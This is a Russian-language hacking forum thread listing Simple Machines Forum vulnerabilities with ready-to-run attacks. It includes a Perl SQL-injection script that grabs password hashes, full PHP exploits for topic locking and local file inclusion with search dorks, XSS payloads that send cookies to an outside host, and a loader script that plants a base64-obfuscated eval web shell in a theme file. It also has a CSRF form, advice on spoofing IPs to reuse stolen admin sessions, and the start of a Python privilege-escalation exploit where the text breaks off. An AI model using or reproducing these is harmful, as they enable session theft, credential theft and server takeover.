Форумы [Обзор уязвимостей Simple Machines Forum]

Discussion in 'Уязвимости CMS/форумов' started by FeraS, 12 Aug 2007.

  1. FeraS

    FeraS Elder - Старейшина

    Joined:
    19 Jan 2007
    Messages:
    555
    Likes Received:
    420
    Reputations:
    76
    [SMF 1.0 Beta 5 Public]
    XSS
    Удаленный пользователь может выполнить XSS нападение. SMF не фильтрует данные, представленные пользователем в тэге '[size]'.

    Пример:
    Code:
    size=expression(eval(unescape(document.URL. substring(document.URL.length-41,document.URL. length))))]Big Exploit[/size]
    [SMF 1.0.4]
    SQL Injection
    Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре 'msg'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.

    Пример:
    Code:
    http://[target]/index.php?action=post;msg= 1%20UNION%20SELECT%20memberName, 0,passwd,0,0%20FROM%20smf_members %20WHERE%201/*;topic=8.0; sesc=[VALIDSESCIDHERE]
    Эксплоит:
    PHP:
    #!/usr/bin/perl -w
    ################################################################################
    # SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org #
    ################################################################################
    # Simple proof of concept for the modify post SQL Injection issue I discovered #
    # in Simple Machine Forums. Supply this script with your username password and #
    # the complete url to a post you made, and have permission to edit. 06/19/2005 #
    ################################################################################

    use LWP::UserAgent;

    if ( !
    $ARGV[3] ) 
    {
        print 
    "Usage: smf.pl user pass target_uid modify_url\n";
        exit;
    }

    print 
    "###################################################\n";
    print 
    "# Simple Machine Forums Modify Post SQL Injection #\n";
    print 
    "###################################################\n";

    my $user $ARGV[0]; # your username
    my $pass $ARGV[1]; # your password
    my $grab $ARGV[2]; # the id of the target account
    my $post $ARGV[3]; # the entire url to modify a post you made
    my $dump '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' $grab '/*';
       
    $post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
    my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");

    my $ua = new LWP::UserAgent;
       
    $ua->agent("SMF Hash Grabber v1.0" $ua->agent);

    $ua->cookie_jar({});

    print 
    "[*] Trying $path ...\n";

    my $req = new HTTP::Request POST => $path "/index.php?action=login2";
       
    $req->content_type('application/x-www-form-urlencoded');
       
    $req->content('user=' $user '&passwrd=' $pass '&cookielength=-1');
    my $res $ua->request($req); 

    print 
    "[*] Logging In ...\n";

    # When a correct login is made, a redirect is issued, and no 
    # text/html is sent to the browser really. We put 1024 to be
    # safe. This part can be altered in case of modded installs!
    if ( length($res->content) < 1024 )
    {
        print 
    "[+] Successfully logged in as $user \n";
        
    my $sid $ua->get($path '/index.php?action=profile;sa=account');    

        
    # We get our current session id to be used
        
    print "[*] Trying To Get Valid Sesc ID \n";
        if ( 
    $sid->content =~ /sesc=([a-f0-9]{32})/ )
        {
            
    # Replace the old session parameter with the
            # new one so we do not get an access denied!
            
    my $sesc = $1;
               
    $post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;

            print 
    "[+] Valid Sesc Id : $sesc\n";
            print 
    "[*] Trying to get password hash ...\n";

            
    my $pwn $ua->get($post);    
            if ( 
    $pwn->content =~ />([a-z0-9]{32})<\//i )
            
    {
                print 
    "[+] Got the password hash!\n";
                print 
    "[+] Password Hash : $1\n";
            }
            else
            {
                print 
    "[!] Exploit Failed! Try manually verifying the vulnerability \n";
            }
        }
        else
        {
            print 
    '[!] Unable to obtain a valid sesc key!!';
            exit;
        }
    }
    else
    {
        print 
    '[!] There seemed to be a problem logging you in!';
        exit;
    }
    [SMF 1.0.5]
    XSS
    XSS уязвимость через BB коды.

    Пример:
    Code:
    [size=0pt][sub][^color=#e1e1e1]g[img]http://re [flash=200,200]http://w onerror=img=new/**/Image();a=String.fromCharCode(?,?,$);img.src=a+document.cookie;this.style.display='none' and end[/flash][/img][/color][/sub][/size]
    [SMF 1.0.6]
    XSS
    Уязвимость существует из-за недостаточной обработки входных данных в поле "X-Forwarded-For" HTTP заголовка. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта при просмотре злонамеренных данных с помощью "View all members".

    [SMF 1.1 RC2]
    Lock Topics Remote Exploit:
    PHP:
    #!/usr/bin/php -q -d short_open_tag=on
    <?
    print_r('
    --------------------------------------------------------------------------------
    Simple Machines Forum <= 1.1.RC2 "lock"/Zend_Hash_Del_Key_Or_Index Vulnerability
    by rgod [email protected]
    site: http://retrogod.altervista.org
    dork, version specific: "Powered by SMF"
    --------------------------------------------------------------------------------
    ');

    if ($argc<6) {
    print_r('
    --------------------------------------------------------------------------------
    Usage: php ".$argv[0]." host path user pass topic OPTIONS
    host:       target server (ip/hostname)
    path:       path to SMF
    user/pass:  u need a valid user account
    lock:       topic u want to lock
    Options:
       -p[port]:    specify a port other than 80
       -P[ip:port]: specify a proxy
    Examples:
    php ".$argv[0]." localhost /smf/ user pass 4
    php ".$argv[0]." localhost /smf/ user pass 3 -p81
    php ".$argv[0]." localhost / user pass 7 -P1.1.1.1:80
    --------------------------------------------------------------------------------
    ');
    die;
    }

    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout",5);

    function quick_dump($string)
    {
      $result='';$exa='';$cont=0;
      for ($i=0; $i<=strlen($string)-1; $i++)
      {
       if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
       {$result.="  .";}
       else
       {$result.="  ".$string[$i];}
       if (strlen(dechex(ord($string[$i])))==2)
       {$exa.=" ".dechex(ord($string[$i]));}
       else
       {$exa.=" 0".dechex(ord($string[$i]));}
       $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
      }
     return $exa."\r\n".$result;
    }
    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
    function sendpacketii($packet)
    {
      global $proxy, $host, $port, $html, $proxy_regex;
      if ($proxy=='') {
        $ock=fsockopen(gethostbyname($host),$port);
        if (!$ock) {
          echo 'No response from '.$host.':'.$port; die;
        }
      }
      else {
        $c = preg_match($proxy_regex,$proxy);
        if (!$c) {
          echo 'Not a valid proxy...';die;
        }
        $parts=explode(':',$proxy);
        echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
        $ock=fsockopen($parts[0],$parts[1]);
        if (!$ock) {
          echo 'No response from proxy...';die;
        }
      }
      fputs($ock,$packet);
      if ($proxy=='') {
        $html='';
        while (!feof($ock)) {
          $html.=fgets($ock);
        }
      }
      else {
        $html='';
        while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
          $html.=fread($ock,1);
        }
      }
      fclose($ock);
      #debug
      #echo "\r\n".$html;
    }
    function my_encode($my_string)
    {
      $encoded="";
      for ($k=0; $k<=strlen($my_string)-1; $k++)
      {
        $encoded.="chr(".ord($my_string[$k]);
        if ($k==strlen($my_string)-1) {$encoded.=")";}
        else {$encoded.=").";}
      }
      return $encoded;
    }

    function make_seed()
    {
       list($usec, $sec) = explode(' ', microtime());
       return (float) $sec + ((float) $usec * 100000);
    }

    $host=$argv[1];
    $path=$argv[2];
    $user=$argv[3];
    $pass=$argv[4];
    $topic=(int)$argv[5];
    $port=80;
    $proxy="";

    for ($i=3; $i<=$argc-1; $i++){
    $temp=$argv[$i][0].$argv[$i][1];
    if (($temp<>"-p") and ($temp<>"-P"))
    {$cmd.=" ".$argv[$i];}
    if ($temp=="-p")
    {
      $port=str_replace("-p","",$argv[$i]);
    }
    if ($temp=="-P")
    {
      $proxy=str_replace("-P","",$argv[$i]);
    }
    }
    if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

    $data="user=".urlencode($user);
    $data.="&passwrd=".urlencode($pass);
    $data.="&cookielength=-1";
    $data.="&hash_passwrd=";
    $data.="&submit=Login";
    $packet ="POST ".$p."index.php?action=login2 HTTP/1.0\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Accept-Language: en\r\n";
    $packet.="Accept-Encoding: text/plain\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
    $packet.="Cache-Control: no-cache\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    $temp=explode("Set-Cookie: ",$html);
    $cookie="";
    for ($i=1; $i<count($temp); $i++)
    {
    $temp2=explode(" ",$temp[$i]);
    $cookie.=" ".$temp2[0];
    }
    echo "cookie -> ".$cookie."\r\n";
    $temp=explode("PHPSESSID=",$cookie);
    $temp2=explode(";",$temp[1]);
    $sessid=$temp2[0];
    echo "sessid -> ".$sessid."\r\n";
    $temp=explode(";member=",$html);
    $temp2=explode("\n",$temp[1]);
    $uid=(int)$temp2[0];
    echo "user id -> ".$uid."\r\n";

    $packet="GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
    $packet.="Cookie: ".$cookie."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);
    $temp=explode('name="sc" value="',$html);
    $temp2=explode("\"",$temp[1]);
    $sc=$temp2[0];
    echo "sc code -> ".$sc."\r\n";
    $temp=explode('"num_replies" value="',$html);
    $temp2=explode("\"",$temp[1]);
    $replies=$temp2[0];
    echo "num replies -> ".$replies."\r\n";

    $hash_1="173250926";
    $hash_2="266332046";

    $data='-----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="topic"

    '.$topic.'
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="subject"

    I totally disagree, locked.
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="icon"

    xx
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="message"

    I totally disagree, locked.
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="notify"

    0
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="lock"

    1
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="'.$hash_1.'"

    1
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="'.$hash_2.'"

    1
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="sticky"

    0
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="move"

    0
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="attachment[]"; filename=""
    Content-Type: application/octet-stream


    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="post"

    Post
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="num_replies"

    '.$replies.'
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="additional_options"

    1
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="sc"

    '.$sc.'
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="seqnum"

    0
    -----------------------------7d61bcd1f033e--
    ';

    $packet="POST ".$p."index.php?action=post2;start=3;board=".$board." HTTP/1.0\r\n";
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
    $packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
    $packet.="Referer: http://".$host.$path."index.php?action=post;topic=1.0;num_replies=0\r\n";
    $packet.="Accept-Language: it\r\n";
    $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
    $packet.="Accept-Encoding: gzip, deflate\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n";
    $packet.="Cache-Control: no-cache\r\n";
    $packet.="Cookie: ".$cookie."\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);

    $packet= "GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
    $packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
    $packet.="Cookie: ".$cookie."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);
    if  (strstr($html,"This topic is locked")) {echo "Exploit succeeded...";}
    else {echo "Exploit failed...";}
    ?>
    (lngfile) Remote Exploit:
    PHP:
    #!/usr/bin/php -q -d short_open_tag=on
    <?
    print_r('
    --------------------------------------------------------------------------------
    Simple Machines Forum <= 1.1 rc2 "lngfile" Zend_Hash_Del_Key_Or_Index/arbitrary
    local inclusion exploit (Win boxes)
    by rgod [email protected]
    site: http://retrogod.altervista.org
    dork: "Powered by SMF"
    --------------------------------------------------------------------------------
    ');
    /*
    works against Win boxes
    regardless of php.ini settings
    against PHP < 4.3.3, PHP 5 < 5.1.4
    */

    if ($argc<5) {
    print_r('
    --------------------------------------------------------------------------------
    Usage: php '.$argv[0].' host path mail include OPTIONS
    host:      target server (ip/hostname)
    path:      path to SMF
    mail:      your email, required for activation
    include:   path to file you want to include
    Options:
       -p[port]:    specify a port other than 80
       -P[ip:port]: specify a proxy
    Examples:
    php '.$argv[0].' localhost /smf/ [email protected] ../../../../../boot.ini
    php '.$argv[0].' localhost /smf/ [email protected] ../../../../../boot.ini -p81
    php '.$argv[0].' localhost / [email protected] ../../../../../boot.ini -P1.1.1.1:80
    --------------------------------------------------------------------------------
    ');
    die;
    }

    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout",5);

    function quick_dump($string)
    {
      $result='';$exa='';$cont=0;
      for ($i=0; $i<=strlen($string)-1; $i++)
      {
       if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
       {$result.="  .";}
       else
       {$result.="  ".$string[$i];}
       if (strlen(dechex(ord($string[$i])))==2)
       {$exa.=" ".dechex(ord($string[$i]));}
       else
       {$exa.=" 0".dechex(ord($string[$i]));}
       $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
      }
     return $exa."\r\n".$result;
    }
    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
    function sendpacketii($packet)
    {
      global $proxy, $host, $port, $html, $proxy_regex;
      if ($proxy=='') {
        $ock=fsockopen(gethostbyname($host),$port);
        if (!$ock) {
          echo 'No response from '.$host.':'.$port; die;
        }
      }
      else {
        $c = preg_match($proxy_regex,$proxy);
        if (!$c) {
          echo 'Not a valid proxy...';die;
        }
        $parts=explode(':',$proxy);
        echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
        $ock=fsockopen($parts[0],$parts[1]);
        if (!$ock) {
          echo 'No response from proxy...';die;
        }
      }
      fputs($ock,$packet);
      if ($proxy=='') {
        $html='';
        while (!feof($ock)) {
          $html.=fgets($ock);
        }
      }
      else {
        $html='';
        while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
          $html.=fread($ock,1);
        }
      }
      fclose($ock);
      #debug
      #echo "\r\n".$html;
    }

    function make_seed()
    {
       list($usec, $sec) = explode(' ', microtime());
       return (float) $sec + ((float) $usec * 100000);
    }

    $host=$argv[1];
    $path=$argv[2];
    $email=$argv[3];
    $include=$argv[4];
    $port=80;
    $proxy="";

    for ($i=3; $i<$argc; $i++){
    $temp=$argv[$i][0].$argv[$i][1];
    if ($temp=="-p")
    {
      $port=str_replace("-p","",$argv[$i]);
    }
    if ($temp=="-P")
    {
      $proxy=str_replace("-P","",$argv[$i]);
    }
    }
    if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

    srand(make_seed());
    $anumber = rand(1,9999999);
    $user="sun-tzu".$anumber;
    $pass="sun-tzu".$anumber;
    $packet ="GET ".$p."index.php?action=register HTTP/1.0\r\n";
    $packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    $temp=explode("Set-Cookie: ",$html);
    $cookie="";
    for ($i=1; $i<count($temp); $i++)
    {
     $temp2=explode(" ",$temp[$i]);
     $cookie.=" ".$temp2[0];
    }
    $temp=explode("PHPSESSID=",$cookie);
    $temp2=explode(";",$temp[1]);
    $sessid=$temp2[0];

    $data="user=".$user;
    $data.="&email=".$email;
    $data.="&hideEmail=1";
    $data.="&passwrd1=".$pass;
    $data.="&passwrd2=".$pass;
    $data.="&regagree=on";
    $data.="&lngfile=%2f".$include."%00";
    $data.="&1412642694=1";
    $data.="&850639942=1";
    $data.="&regSubmit=Register";
    $packet ="POST ".$p."index.php?action=register2 HTTP/1.0\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Accept-Language: en\r\n";
    $packet.="Accept-Encoding: gzip, deflate\r\n";
    $packet.="Referer: http://".$host.$path."index.php?PHPSESSID=$sessid\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
    $packet.="Cache-Control: no-cache\r\n";
    $packet.="Cookie: $cookie\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    print_r("
    now login with user: ".$user." pass: ".$pass." and you will see
    ".basename($include)." file at screen...
    ");
    ?>
    [SMF 1.1 RC3]
    SQL Injection
    Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
    Уязвимость существует из-за недостаточной обработки входных данных в параметре "cur_cat" в сценарии Sources/ManageBoards.php во время добавления нового форума. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

    [SMF 1.1.2]
    XSS
    Обнаруженные уязвимости позволяют удаленному пользователю обойти ограничения безопасности и скомпрометировать целевую систему.

    1. Уязвимость существует из-за недостаточной обработки входных данных во время создания или редактирования сообщения форума. Удаленный пользователь может внедрить в сообщение произвольный PHP сценарий и выполнить его на системе с привилегиями Web сервера.
    2. Уязвимость существует из-за недостаточного механизма выбора случайных файлов в механизме звуковой CAPTCHA. Удаленный пользователь может произвести брут-форс атаку.
     
    8 people like this.
  2. FeraS

    FeraS Elder - Старейшина

    Joined:
    19 Jan 2007
    Messages:
    555
    Likes Received:
    420
    Reputations:
    76
    [SMF 1.1.2]
    XSS
    Отсутствует фильтрация atachment filename

    Способы эксплуатации:

    1. Получение cookie
    Создаем сообщение и прикрепляем к нему файл со следующим имененем:
    Code:
    attachfilename<img src=. width=1 height=1 onerror=javascript:new&#32Image().src='http:&#47&#47sniffsite.com&#47s.gif?'+document.cookie>.txt
    (в адресе sniffer'a все / заменяем на &#47)
    Получаем cookie

    2. Получение web shell'a
    Создаем сообщение и прикрепляем к нему файл со следующим имененем:
    Code:
    name<img src=. width=1 height=1 onerror=javascript:var&#32s=document.createElement('script');s.src='http:  &#47&#47site.com&#47smfexp.js';document.documentElement.firstChild.  appendChild(s);>.txt
    (все / в атрибуте src заменяем на &#47)
    Это код простейшего динамического загрузчика скриптов
    http:&#47&#47site.com&#47smfexp.js - адрес загружаемого скрипта
    smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell

    smfexp.js:
    PHP:
    /*
            SMF Active XSS Exploit by Cenarius
            Email: [email protected] | Icq: 100732

            Adds shell to index.php of default forum's template
    */

    var shellCode = "<?php\n\n";
    shellCode += "// Try to handle it with the upper level index.php.  (it should know what to do.)\n";
    shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1  BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n";  // @eval($_POST['cd']);
    shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
    shellCode += "   include (dirname(dirname(__FILE__)) . '/index.php');\n";
    shellCode += "else\n";
    shellCode += "   exit;\n\n?>";

    sendRequest("index.php", null, "GET", getSesc);

    function getSesc(request) {
        var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);

        if(sessVerify) {
            sendRequest(
                "index.php?action=theme;th=1;sa=edit",
                "entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
                "POST", null);
        }
    }

    function sendRequest(url, data, method, onLoadFunc) {
        var request = createHttpRequest();

        if(request) {
            request.open(method, url, true);
            
            if(method == "POST") {
                request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }

            if(onLoadFunc) {
                request.onreadystatechange = function() {
                    if(request.readyState == 4) {
                        onLoadFunc(request); }
                }
            }
            request.send(data);
        }


    function createHttpRequest() {
        var httpRequest = false;
        try {
            httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
        catch(e) {
            try {
                httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
            catch(e) {
                try {
                    httpRequest = new XMLHttpRequest(); }
                catch(e) {
                    httpRequest = false;
                }
            }
        }
        return httpRequest;
    }

    // EOF
    По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell
    index.php будет содержать следующий код:
    Code:
    @eval($_POST['cd']);
    Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js:
    Code:
    new Image().src='http://sniffsite.com/s.gif?'+document.cookie;
     
    2 people like this.
  3. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    935
    Likes Received:
    396
    Reputations:
    261
    #3 SanyaX, 12 Aug 2007
    Last edited by a moderator: 12 Jan 2008
  4. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508

    [ IP-Spoofing (c) antichat.ru ]

    Поддержка X_FORWARDER_FOR позволяет обходить бан, использовать краденную через XSS сессию админа в обход привязки по айпи.

    Оперативно изменять Ip в X_FORWARDER_FOR вам помогут Proxomitron 4.*(http://www.proxomitron.domtech.ru/index.htm) либо Odysseus 2.*(http://www.wastelands.gen.nz/odysseus/index.php)

    [ DEBUG (c) antichat.ru ]

    Раскрытие информации о сервере.

    Достаточно указать в урл debug=1 :

    http://smf.com/index.php?debug=1


    Passive XSS in SMF 1.1.4

    Site.com/component/option,com_smf/Itemid,8'XSS,1/topic,1.0/
    Site.com/component/option,com_smf/Itemid,5/topic,1.XSS/


    phpRaid <= 3.0.b3 (phpBB/SMF) Remote File Inclusion Vulnerabilities


    SMF Forum Mambo Component <= 1.3.1.3 Include Vulnerability


    eFiction <= 3.1.1 (path_to_smf) Remote File Include Vulnerabilities
     
    #4 Elekt, 12 Jan 2008
    Last edited: 3 Sep 2008
  5. _-Ramos-_

    _-Ramos-_ Banned

    Joined:
    4 Jan 2007
    Messages:
    174
    Likes Received:
    215
    Reputations:
    8
    SMF 1.1.4 - Add User In Group [CSRF]

    SMF 1.1.4 - Add User In Group [CSRF]
    Code:
    ||                     ***************                                   || 
    ||                   Author: phAnt0mh4ck3r                               || 
    ||                  *************************                            || 
    ||                 SMF 1.1.4 - Add User In Group [CSRF]                  || 
    || r00tsecurity.org |b4lc4n-h4ck.org |cyber-underground.org |h4cky0u.org || 
    ||   ________________________________________________________________    || 
    |_________________________________________________________________________|
    Dork: "SMF 1.1.4"
    Dork (SID): inurl:index.php inurl:sid= "SMF 1.1.4"
    Code:
    </html> 
    </head> 
    <body>                               
    <form action="http://adress.com/path/index.php?action=membergroups;sa=members;group=GroupID" method="post" 
    <input type="text" name="toAdd" id="toAdd" size="30" />    
    <input type="submit" name="add" value="Add Members" /> 
    <input type="hidden" name="sc" value="ADMIN SESSION ID" /> 
    </form> 
    </body> 
    </html>
    Or you can use it:
    Code:
    forum/path/index.php?action=membergroups;sa=members;group=groupid;toAdd=usertoadd&add=Add+Members&sc=sid
     
    2 people like this.
  6. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    passive XSS


    passive XSS in SMF mod Shoutbox

    Simple Machines Forum "SMF Shoutbox" Mod 1.16b-1.14

    Reference: http://custom.simplemachines.org/mods/index.php?mod=412

    Bug:persistent XSS

    SMF Shoutbox is a popular shoutbox mod for Simple Machines Forum.The content of a post variable used to hold the user shout is stored in the database and then displayed to the visitors without being properly filtered.So we can insert HTML or Javascript code in the database which is then displayed in the shoutbox (which is usually at the index page of the forum).
    Note:the content of this variable is also stored in an html file (sbox.history.html)residing in the main folder where SMF is installed so it is possible to insert and then execute php code under some server configurations.

    Vulnerable versions: 1.16b down to 1.14

    Search Engines query: "powered by smf 1.1" "SMF Shoutbox"

    Vuln code

    -In sboxDB.php

    function missinghtmlentities() fails to sanitize
    input passed to the shoutbox form


    Exploit

    All we have to do is pass to the shoutbox form a string starting with '&#' and ending with ';'
    Most sites configuration doesnt enable guest visitors to post comments so you should create an account and login in order to exploit.SMF Shoutbox is usually in the index page of the forum so you could easily exploit this issue to collect Admins and user cookies,hijack sessions,etc



    Pass this string to the shoutbox

    &#<script>alert(String.fromCharCode(88,83,83))</script>;

    If successful every visitor of the page should see an alert saying 'XSS'


    Note:

    We can inject php code but the output file (sbox.history.html)has an .html extension so in order for the code to execute the server must be configured to parse .html files for php code which is not the default configuration.
     
  7. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    5 Способов залить шелл. https://forum.antichat.ru/thread43633.html


    Кстати способ с редактированием шаблонов по сути является и универсальной читалкой файлов из админки. Льем левую тему, можно даже без файлов. Ставим ей путь "/" и юзаем до посинения читалку прибавляя не index.template.php как в вышесказанной теме, а все что угодно (/etc/passwd, /home/admin/public_html/config.php к примеру)

    Там стоит фильтр только на ../ в самой переменной, но он нам и не нужен.
     
  8. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    SMForum audio Captcha Breaking

    Deciphering the Simple Machines Forum audio Captcha
    http://securityvulns.ru/Tdocument705.html


    Вкратце и по сути.

    Найден новый способ обхода капча кода в SMF.
    Автор существенно усовершенствовал алгоритм Шанкара, и обошел пропатченную капчу.

    Фишка в недостаточной рандомизации звука каждой буквы.
    Из искомого файла выделяются отдельные буквы, затем сравниваются с эталоном.

    Также автор поломал капчу в PHP-Nuke ( уязвимость в недостаточной длинне парольной строки и рандомной генерации хеша) используя радужную таблицу хешей на 1 миллион комбинаций.

    От себя добавлю, что используя описанный алгоритм, открываются новые возможности по обходу капчи и во многих других продуктах и сервисах, заботящихся об ущербных пользователях использующих аудио-подтверждение как тест тьюринга.
     
  9. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    Simple Machines Forum <= 1.1.4 Sql Injection Vulnerability

    Simple Machines Forum <= 1.1.4 Sql Injection Vulnerability

    Уязвимость заключается в обходе слеширования addslashes() , используя мультибайтный символ "%a3%27" в кодировке "big5"

    HTML:
    #!/usr/bin/python
    """
    #=================================================================================================#
    #                     ____            __________         __             ____  __                  #
    #                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                #
    #                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               #
    #                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 #
    #                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 #
    #                              \/\______|      \/     \/                                          #
    #=================================================================================================#
    #                                     This was a priv8 Exploit                                    #
    #=================================================================================================#
    #  	           		    Simple Machines Forum <= 1.1.4                                #
    #    		                      Sql Injection Vulnerability    			          #
    #                                    Priviledge Escalation Exploit              		  #
    #====================================#===========#====================================#===========#
    # Server Configuration Requirements  #           # Some Information                   #           #
    #====================================#		 #====================================#           #
    #                                                #                                                #
    # register_globals = 1                           #  Vendor:   www.simplemachines.org              #
    #                                                #  Author:   The:Paradox                         #
    #================================================#  Severity: N/A		                  #
    # 						 #						  #
    # You may find exploits updates and more 	 #						  #
    # explanations on =>				 #  Proud To Be Italian.                          #
    # 	    	http://paradox.altervista.org 	 #  	                 			  #
    #                                                #                                                #
    #====================================#===========#================================================#
    # Board Description		     #								  #
    #====================================#								  #
    #												  #
    # Simple Machines Forum - SMF in short - is a free, professional grade software package that 	  #
    # allows you to set up your own online community within minutes.				  #
    # Its powerful custom made template engine puts you in full control of the lay-out of your	  #
    # message board and with our unique SSI - or Server Side Includes - function you can let your     #
    # forum and your website interact with each other.						  #
    # SMF is written in the popular language PHP and uses a MySQL database. It is designed to provide #
    # you with all the features you need from a bulletin board while having an absolute minimal	  #
    # impact on the resources of the server. 							  #
    # SMF is the next generation of forum software - and best of all it is and will always 		  #
    # remain completely free! 									  #
    #												  #
    #====================================#============================================================#
    # Proof Of Concept / Bug Explanation #                                                            #
    #====================================#                                                            #
    # This is a quite old exploit and it is inapplicable on 1.1.5 version and on last 2.0 pre-release #
    # (that's why I decided to public it). First, let's have a little poc.				  #
    #=================================================================================================#
    
    [Load.php]
    
    148.	if (isset($db_character_set) && preg_match('~^\w+$~', $db_character_set) === 1)
    149.		db_query("
